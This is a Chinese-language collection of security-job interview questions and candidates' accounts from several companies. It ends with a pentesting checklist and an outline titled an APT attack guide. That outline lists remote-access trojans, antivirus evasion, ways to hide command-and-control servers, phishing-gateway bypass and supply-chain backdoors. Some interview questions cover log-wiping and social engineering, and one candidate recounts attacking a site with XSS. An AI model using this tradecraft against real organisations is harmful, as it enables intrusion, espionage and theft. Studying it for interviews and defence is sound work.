  • 2017_baidu_spring_9

    TCP三次握手的原理,并简单描述下端口扫描的几种实现方式及优缺点

  • 2017_baidu_spring_10

    有N个大小不等的自然数(1–N),乱序存于数组从1到n下标的空间中,
    请将它们由小到大排序,不能直接赋值或输出。
    要求程序算法:时间复杂度为O(n),空间复杂度为O(1)。

  • 2017_baidu_spring_11

    对任意输入的正整数N,编写C程序求N!的尾部连续0的个数,并指出计算复杂度。
    如:17!=355687428096000,尾部连续0的个数是3。
    (不用考虑数值超出计算机整数界限的问题

  • 2017_baidu_spring_12

    从其他渠道获知A站被黑,同时黑客上传了webshell(是否被黑客删除未知),
    该服务器上没有任何安全防御措施,只有web访问日志。
    假如你是安全工程师小王,请你说明如何排查快速定位问题点,
    同时设计有效的安全防御系统,防范类似情况发生,
    防御系统至少包括sql注入、上传webshell等高危漏洞的防御措施。

360

1.360 实验室单招投递电面
  • 写过什么项目,什么功能
  • xss http only如何获取cookie
  • xss还能干什么
  • 只有后台如何渗透
  • 渗透一般思路
  • 如何社工一个企业的员工信息
  • csrf 如何不带referer访问
  • 如何获得一个域名的邮箱列表
  • 如何知道waf信息
  • 如何收集子域名
  • 1521是什么端口
  • 用什么扫描器
  • mysql4,5的区别
  • mysql提权方式
  • mysql udf提权 目录位置
2.秋招

1.多久开始接触安全的?
2.熟悉安全方面的哪些内容?web?逆向?IOT?在公司主要的工作内容?
3.分析下Web框架(Django,Struct 2)出现过的漏洞,原理,分析过程,利用手法 。(因为简历有提)
4.有没做过安全开发?写过哪些安全工具?namp扫描器原理?
5.场景分析:360自制扫描器扫出100w个可疑URL,如何写脚本排查sqli误报?如何排查xss误报?(url中存在payload)思路?
6.黑过哪些网站?说一次最骄傲的Hack经历(从得到域名到getshell)?
7.如何搜集子域名?getshell有哪些方法?哪种用的最多?提权了解过哪些方法?nc反弹提权原理?一句话木马原理?
8.内网渗透玩过没?域?
8.逆向会不会?软件安全了解过没?(没)
9.想做来做哪个方向?安全开发?安服?安全研究?(我看你目前不行)

腾讯 Tecent

1.面经 by头狼

  一个来月的实习求职,有时候忙着修改简历、准备面试,有时候发呆、思考人生,有时候心情复杂看看剧,也要上课学习……总算基本告一段落。挺不错的一个月,又是一段有意思的时光,总需要留下点什么,就来写写吧~
  由于还是有点时间意识的,知道3月份一开始就有大公司要开始内推招聘的了,所以在上个月15回校准备简历,回顾、学习岗位所需要的知识点,刷面经。可能没有意识到内推招聘的人会觉得这求职准备算快,但对于那些从上学期开始,就投简历刷经验的人来说,还太嫩呢。

简历

  首先是看了几份大牛师兄的简历,知道整个简历结构的怎么样的,感觉我们这些走技术的整个结构都大致相似;同时对于投IT岗来说,重要的分块是:个人技能、项目(实战)经验、奖项荣誉,腾讯的HR也说主要看这些部分。之后便开始根据岗位要求、个人的技术沉淀、经验,花了挺长时间终于写出了这一份简历,一开始挺自豪的。而如果就这么自信将简历给投出去,那将会是石沉大海……到现在的最终版简历,自己也不知道改了几次,有大改、有小改。先是厚着脸皮将简历丢给有经验的师兄,求指点,还有就是找老铁帮忙找毛病,多次修改后才敢将简历给投出去。一份只能自己看的简历,往往就是会石沉大海的,因为通常会觉得自己辛苦写出来的东西,没有bug、没毛病。不过,有时候还要点缘分,前段时间投YY,结果石沉大海了…… =_=

面试

  一开始也是刷别人的面经,基本上刷的都是运维、开发的,没找到跟自己岗位很对口的面经。不过通过不同技术岗位的面试问题,基本可以结合自己的岗位要求,猜测大致会被问及哪一块的知识点,需要补补哪些底子基础,项目经验有哪些会被重点问到。然后便尝试独自描述、解答可能会被问到的问题。几次电话面试下来,觉得除了要刷点别人的面经外,还要着重加强对一个技能、项目的描述,如果自己的能力再强,当向别人展现的时候却表达不出,面试官也可能会觉得是一份假简历;还要就是面试完的自我总结,虽然面试过程不长,但也是个学习的过程,可以知道自己哪些描述的不好,还有哪些自己欠缺的知识点,跟这个岗位的大佬有多大的差距……下边分享连续面阿里、腾讯那天晚上冲忙码出的总结吧,由于是自言自语,且那时候赶着早点回宿舍,看起来有点怪,就当作是一个傻逼跟一个傻逼的对话吧╮(╯▽╰)╭

三个小时面了3个电面(2017/03/07)

  上周投完简历之后,一直期盼着发短信邮箱通知啊,打电话来啊,给个面试机会啊。会不会已经在简历评估时就已经被刷了啊,自己的简历还有哪些写的不好的,还有哪些要赶紧完善的……
  这下好了,都打来了,3小时就要面你3次,一次满足你!哥,我亚历山大啊!在这短短的三个钟里,在这短短的三个电面里,在这短短的一个半钟面试里,感觉到经历了好多,学习到好多,回顾了好多,思考了好多,展现自己好多,被大佬虐的好多……
  17:19的时候,一个杭州的电话打了过来,心想:阿里?!自己在官网上的求职状态还在简历评估阶段啊,不过好像实习群上有不少人是处于简历评估时被面试的。接了电话,真是阿里的!有点小兴奋,小激动,也有点小抖,不过有之前腾讯的第一次电面,已经可以适应大公司的电面了。不需要自我介绍,说了两句便开始面试,大致经过如下:
  说一下自己在Android逆向的一个学习过程?
  讲讲so注入的实现原理?
  dex/so的文件格式?
  你所说到的注入原理可以通过什么方式来察觉到呢?
  如果通过ptrace来检查tracePID以察觉进程是否被注入,还有没有其他的注入方式来实现注入呢?
  说一下Linux下ptrace()方法来跟踪进程的实现原理?
  fork()的实现,使用?
  你对一个程序在Android上被启动的过程了解吗?说一下涉及到哪些进程?
  你使用过gdb进行动态调试吗?能说一下它的实现原理吗?
  在Android开发、Android系统启动、Android系统漏洞挖掘等方面,你平时比较了解哪个,讲述一下?
  好了,对于你自己接下来的学习打算,主要还想学习Android安全的哪些,说说你身边还有哪些书籍,计划学习哪些书籍?

  整个过程还是问了好多问题的,但由于连续面了3个,有些一直想不起来。总的感觉就是半跪吧,除了面试官问到比较偏向自己简历写的技能可以比较顺利、自信的答上外,像被问到相对Linux底层的知识时,基本上都是硬着头皮答的,也不知道对不对,有些也因为完全不知道尴尬的过了。勉勉强强吧,最后在反问面试官的时,幸好抓住机会,仍是先关心一下,对于实习生的培训机制。然后问问面试官自己在这次面试中自己有些不足。我便说了自己发现在被问到比较底层的原理时,总是答不上,能不能给我一些接下来学习的建议?可以看哪些书籍可以补一补像Linux下ptrace、fork这些底层知识?面试官很好的跟我指点了一下,像ptrace、fork这些可以在像《Unix环境高级编程》上学习到,对于你想在接下来学习dex的启动、so的加载过程,那就要多翻翻dvm的源代码以及linker的源代码。同时面试官也很有心的提醒到,我现在所掌握的逆向实战,很多是来逆向分析、利用、破解别人的程序,很多都是基于别人的工具进行二次开发,虽然这像大多数人学习安全一样,通过玩玩一下工具使用,逆向利用别人的程序,这样的学习出发点是正确的,但要慢慢开始接触更为底层的知识,像学习Android一些在dex/so加载过程的源代码,学习Linux的开发,学了这些之后,对于像so注入,hook啊之类的问题,你都会发现很简单,同时也通过学习底层的知识,可以像在企业上参与开发一下安全产品出来,这才是更为重要的。

  吃完饭,19:14电话再次响起,腾讯总部!太好了,我过了腾讯一面了!好好对待,拿下二面!这个面试官很好,也是我面这几次来面的最好的一次了。主要这次的面试官问我的问题基本都是在更为契合我的简历的,主要的问题有:
  讲述一下你是怎么走上学习Android逆向上来的?
  说一说你做过哪些逆向分析的实操?
  说说你拿到一个Android程序,你是怎么对它进行分析的?以你简历里边写的木马分析为例吧
  你接触了哪些so注入的工具?说说实现的原理
  你说ptrace在反调试里边也有用到,那你说说是怎样一个原理实现?
  你了解GOT hook以及Inline hook,说说Inline hook的实现原理?
  Inline hook实现的跳转两条指令是什么?为什么第一条要用LDR而不用MOV?
  怎么将第二条指令里存放的hook函数跳转地址,通过LDR付给PC?
  你说你对ARM汇编有一定的了解,说说B、BL、BLX指令的使用?
  你玩过哪些游戏?这些游戏有哪些可以实现游戏外挂的?

  其中也问到我不会的,我也记不起具体在问什么?听不懂。有像说说Zygote进程的原理的。不过感觉总体上的问题我都可以答上,也答的挺清晰的。最后又到反问环节,老规矩,了解一下对于实习生的培训机制,以及游戏安全部门的职责,之后再一次问问在涉及比较底层基础时,自己答不上的不足,请教面试官指点一些方法、书籍来学习提升。由于面试官是腾讯游戏安全部门的,便推荐我可以去看看腾讯游戏部门出的一本关于游戏安全的书,查了一下是《游戏安全》。这一次总体感觉还是挺满意的,应该可以通过二面吧,不过接下来要再好好加油,好好反思,好好补补知识点,争取拿下腾讯的offer!

  才在老铁群上边水了一会,去上了个厕所刚坐下,电话又响了……上海?!纳尼!这是……,结果是:阿里!卧槽!这也太快了吧?!瞬间有点反应不过来,这次虽接完没多久,但我却写不出被问到的大致问题,因为这次被问的彻底跪了!
  先是一个简单的介绍自己背景及技术能力,之后面试官就说,看你的简历,主要是Android逆向的,那就对你比较擅长的逆向直接问吧。一开始听了还接受的,结果问了native层的代码混淆有哪些实现?瞬间就懵了,呆了,什么鬼?硬扯了,说一下通过修改so文件中节区的配置来混淆静态分析。面试官说不对,举了一下像什么给函数添加一些不必要的分支,还有些我听不懂的。。。来实现混淆。你能说说实现方法吗?尴尬,答不出,开始慌了。那这几年再Android系统上更多使用的ART虚拟机,你跟Dalvik虚拟机进行对比,说一下你的理解,知道多少说多少。这时肠子悔青了!之前本来想找机会看的,结果拖着拖着,没看!……之后说你主要比较多使用C++对吧,问static的作用,问public,private,protect的使用及区别,C++基础学的有点久了,勉强答了一下。像x86中传入两个int类型(32位)的参数,应用哪些寄存器来存放?又呆了!那函数返回值一般放在哪个寄存器?你比较熟ARM,其参数传入是怎样的,返回在放在哪个寄存器?这个还比较好答。又问了ARM调用方法时,对于寄存器的压栈保护,调用方法与被调用方法分别对哪些寄存器进行压栈保护?呆了!还有一些底层知识问的我一脸茫然。总之,说起来我都想哭,完全给跪了。最后反问时,对于我想补补自己在被问跪的细节、底子知识,面试官说这么问,就是想考察我的逆向实战经验,自己平时要做更多逆向分析,不断实战,便会在逆向过程逐步积累掌握……

  现在来看那天晚上敲下的总结,还是很有意思的 :)
  由上边的面试过程可以看出腾讯的要相对阿里的简单,看实习数据是,腾讯要差不多2000实习生,而阿里500左右;但更为主要的原因是,我的简历是被腾讯游戏安全部门拿去的,而我掌握的技能点和他们现在的需求很是契合,如果像是阿里安全部那样被移动安全的面试到,估计就很不好说啦……所以求职也要有点缘分~

最后
  主要是对这段时光的回味,总结,分享。

2.2017实习经历
前言

之前群里有人说将找实习的经历整理一下对其他人有帮助,我就写一下自己的经历吧,因为隔的时间比较久,有些记不太清楚了,就随便记一下。

从开学的时候,就开始准备简历了,那时候写了一份给学长,让他帮忙内推一下腾讯,学长帮忙看了一下,觉得写得太乱了,给我一份其他人的改一下,其中还得感谢一下车车帮忙参详。

简历:

  • 1.简洁,不要太啰嗦,尽量简明易懂。
  • 2.突出重点,奖拿多的可以摆在比较显眼的位置(虽然我很少遇到问这些的面试官)
  • 3.尽量将项目的过程写详细,这也是面试官最关注的地方,其他的地方面试官应该关注得少
面试

总的来说,我一共面了六家。(时间顺序)
阿里、科大讯飞、知道创宇、同花顺、360、京东、腾讯
除了360,其他都到HR了,对360表示吐槽。。(战线拉太长了,虽然没有阿里长)😂

首先收到的是阿里的内推面试电话,阿里的面试官都挺nice的,三天三面很效率。问的都是一些常见的漏洞原理和防御方法,二三面会有提高到具体的一些操作,和一些安全开发的内容,准备充分还是可以过的,就是开始的时候紧张得不行😖,说多了就好了。不过阿里因为蚂蚁安全不招人了,所以简历转到了菜鸟那边,中途隔了40多天才接到HR电话,我以为我早挂了,这一波要给阿里刷一波666,老铁扎心了👍。

科大、创宇、同花顺都是在安全课和i春秋论坛上看到的,最后都是因为实习期太长的原因没去,但都还行,都只有一面技术面,锻炼一下自己,同花顺还出了个面试题,要写渗透测试报告,挺有心的😅。

360是我准备的最充分的一次面试吧,然后就挂了,我的天。。。其中还要准备十佳学子,感觉整个人都不好了,今年360跟腾讯不一样,把所有的流程都压缩,一面完后就二面,boss面、HR,不像腾讯是把所有人都面完再开始筛选。所以对后面的人不太公平,通知我的是11:20视频面,到我面试时都快1点了,感觉面试官都累得不行,不过人还是很好的,很有耐心,讲了一些我的不足,对提高水平很有帮助,对我印象也是挺好的。接到一面挂了的电话,还是有些懵逼的。

能拿到京东的offer也是感觉有些离奇,一面答得挺好的,问了些ssrf和redis未授权访问的知识,还有一些linux的知识。二面就砸了,这里千万提醒各位,面试要找一个安静的地方,不然思路很容易被打断,状态差起来神都帮不了你。可能是一面面试官对我评价较高吧,二面居然也过了,😂。
最后是HR,有问到你是否接到其他公司的面试和进度,你在这几家公司的优先选择是?那时我是说阿里和腾讯都到HR了,优先腾讯京东阿里,但这里提醒一下,如果你不能确定你的HR是否会因为这,pass掉你,你还是说没有吧,毕竟公司也要考虑给你发了offer,你不来会浪费人力资源的。

最后是我大鹅厂了,因为在本地面试,所以每次都要打车去(前后几百块,心疼🤧),因为之前听学长说不太清楚今年招web不,所以并不抱希望,过程倒是挺顺利的,主要是问的学习经历、项目、奖项,但具体技术问得很少,结尾问一下评价,听他说我谈吐不错、条理清晰的时候,感觉我只剩这些了,要挂。。问了一下工作人员说当天出结果,当晚等到九点多还没来,心想果然挂了,泄气睡觉,隔了一天,突然收到下午去参加二面的消息,感觉有点懵,果断旷课面试去,问的跟一面差不多,同样的套路,自我介绍、学习经历、项目经验。当天晚上,正躺床玩手机呢,就收到二面过了的通知了,激动。赶紧问了一下学长腾讯HR会问的内容,他们说腾讯HR很少刷人,就松了口气,第二天,下雨,打的过去,人已经少了很多,就十几个人。很快到我了,面试官让我放轻松,主要聊了些职业规划、兴趣爱好、部门职责等,然后过了一周就收到offer了。(等的过程真痛苦,京东offer来了之后好些,还是很痛苦)

面试技巧

首先,面试的节奏最好把握在自己手里,我们不可能每个方面都会,让面试官随便问的话,很大概率要挂。可以在自我介绍的时候,将你的学习历程讲清楚,让面试官知道你会什么,接触过什么,让他知道你大概会的东西的方向。其次,基础要扎实,漏洞的原理、种类、防御方式、应用等都应该十分熟悉,而且最好准备一些比较深的内容,开始的时候不说,等他问了再说,效果更好。然后,就是项目的经验了,这种东西要你确实做过且了解很深的才行,不然很容易给面试官留下差印象。还有就是HR,技术面你可以和面试官扯蛋、闲聊、开些玩笑也无所谓,但HR最好就不要了,正经点,别什么真话都往外说,别给他理由把你pass了,内容大概是这样了。

B站 Bilibili

1.哔哩哔哩电面
CTF 相关
  • 简述 CTF 攻防赛的流程和一些技巧;
服务器运维
  • 查看当前端口连接的命令有哪些?netstatss 命令的区别和优缺点;
  • Linux 服务器的安全运维操作有哪些?如何保护 SSH?
  • 入侵 Linux 服务器后需要清除哪些日志?
  • 反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?
渗透测试
  • 介绍渗透测试的流程;
  • 简要介绍自己常用的扫描器和其实现上的特点;
  • 介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些?
  • 如何防范 XSS 漏洞,在前端如何做,在后端如何做,哪里更好,为什么?
  • 介绍 CSRF 漏洞和常用的防护手段;
  • 介绍 SSRF 漏洞,如何深入利用?如何探测非 HTTP 协议?如何防范?
安全运营
  • 如何防范羊毛党(有猫池)?
  • 如果 SRC 上报了一个 XSS 漏洞,payload 已经写入页面,但未给出具体位置,如何快速介入?
  • 发现一个大范围影响的新漏洞,如何快速排查公司资产?
  • 如果你是安全运营的负责人,简要介绍你对安全方面采取的措施;
  • 发现了一个漏洞,你报告给开发人员,但是开发人员不愿意修漏洞,如何沟通?(这是个什么奇怪的问题。。。)

华为 Huawei

2017春招华为面经-彦修

本来不打算写了的,群里一个同学问我要相关的面试经验,想想自己也是从网上诸多的面试经验中获益,所以就答应他今天抽时间写写,怎么讲呢,一面之后其实就已经不怎么紧张了。总结昨天的经历。

言归正传,短信说的是10点45的面试短信,地点是高速开元酒店。
自己九点半出的门,想着要找地方,而且毕竟周末,万一遇到堵车耽误了时间不好,所以有的时候还是建议大家早点过去。因为有的时候,你前边要面试的人没去直接就到你了。
到了之后时间还早,才十点,遇到同学就跟她一块聊了会。华为提供水、点心什么的。所以大家不用自己买水的,这一点华为考虑的很好,好感加分啊。

0x01 插曲

首先说自己其中有个小插曲,去之前学长们让问下可不可以霸面,因为之前他在百度和美团实习,没有参加华为机试。当时正好有个华为的工作人员在候选厅里边走动。现在歪个题,讲下华为面试分布情况。首先是两个等候区,一个是一面,一个是二面,而且有两个厅,一个是一面厅,一个是二面厅,两个等候区正好正对着对应面试的门口,所以坐在对应的等候区就好了。到时候会有专门的hr助理喊名字。回到刚才的问题上,正好我就问工作人员霸面的事情,他说帮我问下,然后就走了,等了好久我以为不回来了,过了好久工作人员过来告诉我不好意思,不可以霸面。然后就开始问我你是什么岗位,我说安全工程师,他就跟我握手,翻了下胸牌,告诉我他名字,在这里就不说了。看了下我简历,然后问我有没有什么渗透经历,我就跟他说我前几天利用xss攻击了一个诈骗网站,他听了很开心,然后又看了下简历,问我对工作地点有没有要求啊,我说没有,他说深圳也可以?我说可以。他又问那官网首选城市是哪里,我说杭州。我然后解释说如果可以选我会选择杭州和上海,如果不可以选,哪里都可以。离家里近啊?我说是的。他说挺好,之后又想问什么,但是hr助理喊我去一轮面试,只好走了。其实现在想想那个应该是个大boss,多聊一会,估计面试都省了,哈哈哈。(后来有天晚上接到华为总部电话,但是没接到。额,。。估计。。。)

0x02 技术面

助理带我到一面面试官面前,一面是在那种大厅里,每个面试官一张桌子,两把椅子。我就直接坐过去,递上简历。面试官扫了一眼,然后简历扔在一边。让我先自我介绍,自我介绍在进去之前自己模拟了好几遍,本来想说自己估计是学校本科之中唯一一个报安全岗位的,只是昨晚才知道除我之外还有一个我们班的,于是就说了自己从大一开始确定做一名安全工程师神马的。然后开始直接提问,问我对称加密算法有哪些,学过密码学基本上都知道几个吧,我说des、aes和rc5,他说非对称呢,我说RSA,他让我描述rsa加密过程,之后我就回复他RSA基础是大素数难分解。再讲了几句,做这个差不多一年前了,具体都忘记了,他说没关系我们下一个,问我摘要算法,我说md5什么的,他说md5已经不安全了,我说知道,目前确实不安全。他说你听过%¥#@。他语速很快,不过即使慢了我好像也不知道是什么,直接说没有听说过。他说没关系下一个,问我具体做什么,我回web安全,像xss、csrf、sql、文件上传、文件解析什么的。他说终端安全呢,我说只是了解没有深入学习。面试官拿出来他手机好像回了条短信。然后跟我说手机安全很重要啊,这里边可是绑定我银行卡的,我说确实不了解。然后问我你们系多少人,我说48,你排名呢,我说20左右,50%了,我说差不多。哪里考的不好啊?我说偏硬件。他说你可以好好学习,不要觉得项目多了那些都不重要。之后他挑出简历一个项目问我,你这软件是什么架构,给我画下,我的回答就具体不说了太长,在这个回答的过程中,面试官主要是在找漏洞。另外就是我简历写了熊猫烧香之后就问我熊猫烧香的感染机制和传播机制。感觉回答的不是很好。面试官也不是很满意。之后让我手写一个压缩算法,主要原因可能是自己当时因为机试时候的代码相似度太高被挂了,之后自己找人跟hr说才起死回生。所以算是检验下,本以为会很难,没想到还是很简单的,就是aabbbbccd,编码成为2a3b2cd,这个不难,问是否可以伪代码,面试官说不要太伪代码就好,我就开始写了,期间问我第三道题没有做出来回去之后有没有再看,我说回去之后又做了一遍,在博客写了,我拿手机给他看,他说不用我这电脑可以上外网。然后看了我博客,发现有百度总结,问我你还有百度面试,结果怎么样,我说三面之后等通知,他说如果华为和百度要你,你去哪里,我说华为,他笑了说,百度这么问,你是不是说百度,我说不是啊,之前以为百度在上海也可以,但是没有,所以我就不想去了。他就打开我博客看我的华为笔试总结题目。我继续写代码,期间还一边问我题目,我回答的时候就看着他,他说不用看直接写就行,可是他问我,我还是不自觉看他,面试官干脆不问了。看我的博客。我差不多代码写完了他指着第三题代码说这个其实可以复用,我说是的啊。然后我说代码好了,然后让我指着代码跟他说。最后时间差不多了,问我有什么想问的。我就问我的优势和劣势。他回答了一些。大意是说我的总结能力很强,不会的问题私下里还会解决,而且比较专一,但是也是劣势,因为不知道硬件,只知道软件。然后说完了之后说出去等二面通知吧!

0x02 综合面

  这个面试总体来说没什么可以说的,聊人生,谈理想,说家庭。不过中间让我任意选一个项目经历用英文描述出来,但是觉得也还好。说了将近半小时吧。最后的时候问我有木有问题,我说offer什么时候有通知,他说你希望多久,我说一周吧。他说一周肯定不可能,至少一个月,然后讲了下流程。我说如果有确定的情况我肯定可以等,给我一些正反馈,他说我一直在给你正反馈啊,聊了这么久,你应该能感觉出来,我这边没什么问题的。但是我不能保证百分之百。我说我能理解,然后就出去了。之后秘书告诉我说,一周给结果,我也具体不知道怎么回事。因为我同学说的也是一周给结果。这个结果应该是通知,不是offer吧。不过我感觉意思是一样的。最后说下面试官吧,面试官人很好。思维很敏捷啊。随便一个点就能抽出来一个问题。真是厉害。

0x03 总结

  总体这次来说,收到正反馈的时候心里很开心,也开始比较淡定了。工作人员也很好,至于薪资,当时二面问我为什么跟他提这个,我说华为不会亏待每一个人啊。最后给应聘的人说个小建议:“如果真的想去华为,去之前查下华为企业文化什么的挺重要”。当然也不止是华为,你想去的每一个公司都是。

ap注: 彦修师傅最后去了鹅厂

同花顺

投了简历后发来一个测试题,就是一个网站,让你找漏洞然后出漏洞报告。

漏洞还是挺多的,从 XSS 到 CSRF 到文件上传、文件包含、敏感文件泄露都有,通过包含拿了 webshell,看 phpinfo 禁用了一堆函数,最后用 pcntl_exec 反弹 shell 成功,提权未果,不过应该是可以提的,那会有点晚了,就去睡觉了。。。

面试
  • 介绍一个你认为比较有意思的渗透经历或是 CTF 题目。(主要是我渗透比较少。。。)
  • 把漏洞报告里的东西基本又都问了一遍,各种漏洞的成因,常用的防御手段之类;
  • UDF 提权的原理,具体流程;
  • SQL 注入点的利用方式;
  • 绑定在事件上的 XSS 如何防御?(这就是 DOM XSS 吧。。)
  • 文件上传的检测如何做?还要考虑服务器性能。

最后还是嫌我渗透经验少拒了。。。好气。公司在余杭那边,有点远,单双休,上班时间早八点半到晚六点。

蘑菇街 MOGU.US

  • 介绍一个自己提交乌云或补天的漏洞(我提交的都比较 low 啊。。。好尴尬)
  • CSRF 成因及防御措施;如果不用 token 如何做防御?
  • SSRF 成因,如何深入利用,防御措施;
  • 介绍常用的 Python 的库;
  • 使用过哪些不太常见的python内置库
  • 介绍一下 Python 中的迭代器、生成器、装饰器
  • Linux 中让命令在后台运行的方法有哪些?
笔试
  • 从一个文件中读取 100 到 200 行,并发送到一个 URL 上。(面试官没带电脑,我简单说了一下,他又问了中间可能出现哪些异常,怎么处理)
二面

二面三部分

  1. 综合性问题

    • 你大学做过最有成就感的事情是什么
    • 问我们专业(信息安全和法学双学位)感觉像是你们专业设立的意义是什么
  2. 技术性问题

    • 说到算法,他问了快速排序
    • 说到C++,他问了cpp的并发(CPP是如何解决多线程竞争资源的
    • 说到恶意代码,他问了:你对逆向有什么理解
    • 我说了项目(类似入侵检测系统),他说
      • 你们的威胁情报肯定不够新..怎么办
      • 你们的数据量太小了怎么办
      • 如何处理误报
  3. 提问

随便问吧–回答的还是很认真的


And–蘑菇街会约面试时间,而且管是小姐姐还是小哥哥说话都很温柔 +加分

—–其他的都忘了,大概半小时 And 半小时以后收到了邮件 not pass

安全狗

反序列化,
给你一个网站如何渗透的思路,
sql注入,种类之类的
文件上传遇到WAF,
有没有挖过SRC,
挖SRC的细节
逻辑漏洞
怎么防止SQL注入
内网渗透,免杀的基础(看简历有没有)
我简历上说写过python脚本,他让我说一下细节
参加的CTF是校内还是校外,有什么奖项
有没有了解最新的漏洞,说一下原理
CSRF和SSRF区别
MSF和CS联动
如果有一台目标机器疑似感染病毒,如何进行应急处理
内网渗透怎么搞

安恒

安服

一面

1.sql注入说一下,联合注入流程,

2.xss说一下,alert被过滤怎么办

3.ssrf说一下,刚刚提到可以扫内网,具体怎么扫,ssrf用到的协议

4.xxe说一下,命令执行得xxe怎么写

5.struts2知道吗,有哪些漏洞

6.spring框架漏洞了解吗

7.redis未授权知道吗,说说他的条件和方法

8.中间件都有哪些,说一说都有哪些漏洞

9.sqlmap常用函数,–os-shell参数如何用,条件是什么

二面

1.自我介绍

2.如何学习网安的

3.java的三大特征

4.java的重载和重写的区别

5.java的反射、反序列化。

6.短信轰炸的时候一分钟只能访问5次,如何来解决

7.什么是数字签名

8.sqlmap的命令

9.nmap的扫描方式,对应的命令

10.如何学习内网的(详细问题一个没问)

11.如何判断spring框架、shiro框架

12.csrf和ssrf的区别

13.sql注入盲注时间太长如何加快速度

14.挖过的漏洞,详细说明。

Fx 渗透测试指南 Pentesting Guide

1、信息收集

a、服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)

b、网站指纹识别(包括,cms,cdn,证书等),dns记录

c、whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)

e、子域名收集,旁站,C段等

f、google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等

g、扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等

h、传输协议,通用漏洞,exp,github源码等

2、漏洞挖掘

a、浏览网站,看看网站规模,功能,特点等

b、端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。

c、XSS,SQL注入,上传,命令注入,CSRF,cookie安全检测,敏感信息,通信数据传输,暴力破解,任意文件上传,越权访问,未授权访问,目录遍历,文件 包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等

3、漏洞利用&权限提升

a、mysql提权,serv-u提权,oracle提权

b、windows 溢出提权

c、linux脏牛,内核漏洞提权e

4、清除测试数据&输出报告

日志、测试数据的清理
总结,输出渗透测试报告,附修复方案

5、复测

验证并发现是否有新漏洞,输出报告,归档

Gx APT攻击指南 APT Attack Guide

目标侦查

信息收集

技术信息收集

  1. 域名、IP空间确定

  2. 网站、博客、业务地址收集

  3. 网站拓扑、业务架构收集

  4. OSINT公开技术数据收集

  5. 供应链技术信息收集

人员信息收集——木马投递-鱼叉攻击(邮件)

  1. 邮箱、用户名、社交账号收集

  2. 职务、组织角色、人物关系收集

  3. 社保、家庭成员、家庭住址、债务情况收集

  4. 第三方人员信息收集

组织信息收集

  1. OSINT组织成员公开信息收集

  2. 法人、股东结构、组织架构收集

  3. 组织公开业务、产品文档收集

  4. 组织物理位置、办公场所信息收集

  5. 第三方供应商合作业务识别

弱点识别

技术弱点识别

  1. 应用漏洞识别

  2. 网络及配置安全分析——水坑攻击

  3. 安全防御能力分析——木马免杀、邮件安全网关绕过、C2命令控制器组建

  4. 第三方库、组织漏洞识别——第三方供应商及外包安全

人员弱点识别

  1. 分析人员组织架构从属关系分析

  2. 分析组织内部社交关系

组织弱点识别

  1. 组织业务流弱点识别

  2. 组织管理及职能部门弱点识别

  3. 组织物理安全分析——现场投递

  4. 第三方供应商及外包安全——供应链攻击


木马制作

木马选择

PC远控

  1. Windows平台:Coblat Strike、NJRAT、Remcos CHAos-RAT、gh0st、Quasar RAT、Revenge RAT

  2. Mac OS平台:EvilOSX、JRAT、Pupy

  3. Linux平台:JRAT、Pupy

移动端远控

  1. Android:Ahmyth、DroidJack、SpyNote

  2. IOS:Eggshell

  3. 其他远控:Galileo RCS

木马伪装

  1. Office(DDE、OLE、公式编辑器、EPS、VBA、其他)、Flash、hta、PDF、CHM文件嵌入马

  2. lnk马快捷方式伪装

  3. RLO文件名伪装

  4. 自解压马

  5. PE捆绑

  6. 后缀隐藏

  7. 图片:FakeImage

  8. PPT:backdoorppt

  9. 其他:exe图标资源修改器Resource Hacker

木马免杀

  1. 捆绑:backdoor-factory、pyloiner、Shellter

  2. AVET、Veil免杀

  3. 数字签名伪造:SigThief、singtools、Digital-Signature-Hijack

  4. APK混淆:AVPass

C2命令控制器组建

1.C2服务器IP发布

利用域名发布C2服务器IP

利用合法网站发布C2服务器列表

2.域名注册

高信誉过期域名抢注:expireddomains.net

DGA伪随机域名抢注

拉丁字母相似域名注册:EvilURL

3.命令控制器

  1. 自建私有控制器

1.1)控制器IP隐藏

1.1.1) 分布式IP重定向

1.1.2) Tor Fronting

1.1.3) Domain Fronting域前置

1.1.4) CDN+https+websocket

1.1.5) Apache_mod_rewrite HTTP重定向

1.2) 流量混淆:Malleable C2、ExternalC2

1.3) 后备通道

  1. 利用合法网站/api建立控制器

2.1) 利用twitter、github、Gmail、Dropbox发送接收命令

2.2) 利用社交聊天API发送接收命令执行结果

4.控制器内网上线:ngrok、FPR、XTunnel、N2n


木马投递

鱼叉攻击(邮件)

投递文案策划

  • 目标喜好分析
  • 目标近期活动分析
  • 钓鱼文案编写

邮件html模版制作

发件人地址伪装

  • 同服邮箱账号注册
  • 相似域名注册:EvilURL

发件人伪造

邮件安全网关绕过

  • 防御欺骗能力检测:SpoofCheck
  • 钓鱼链接检测绕过:白名单域名URL跳转漏洞
  • 发送频率控制
  • 高信誉邮件代发服务

钓鱼邮件批量投递管理系统:FiercePhish、Gophish、king-phisher

现场投递

无线网络攻击

  • 无线密码破解:NetHunter、万能钥匙
  • 流量劫持注入:BDFProxy

BadUSB HID攻击

  • 硬件选择:ps2303芯片U盘、树莓派zero w、Teensy开发版、其他
  • 固件程序:P4wnP1、Psychson、USB-Rubber-Ducky、360GhostTunnel

存储介质攻击:感染木马文件的光盘、U盘、移动硬盘

物理入侵:ID卡伪造、门禁破解、角色扮演、身份伪装

水坑攻击

常用网站挂马

  • 行业、组织网站挂马:网站、论坛、博客

开放目录挂马

  • 行业、组织开放目录挂马:网站、共享目录

浏览器攻击框架

  • Beef
  • Browsersploit

供应链攻击

通用软件供应链攻击

  • 软件下载/更新源劫持
    • 安装源攻击:pip/apt-get源劫持
    • 破解、汉化软件后门
  1. 开发工具后门:案例XCodeGhost
  2. 运维工具后门:案例Putty、XShellGhost
  3. 刷票、翻墙、视频播放工具放工具后门
  • 基础设施后门利用
    • 网络设备后门
    • 物联网IOT设备后门

软件外包商攻击

  • 源代码攻击(git、svn、补丁服务器)
  • 第三方调用资源攻击(组件库、js库、js广告代码)

控制&渗透

特权维持:权限维持后门植入

横向渗透

口令/凭证收集

  • Mimikatz
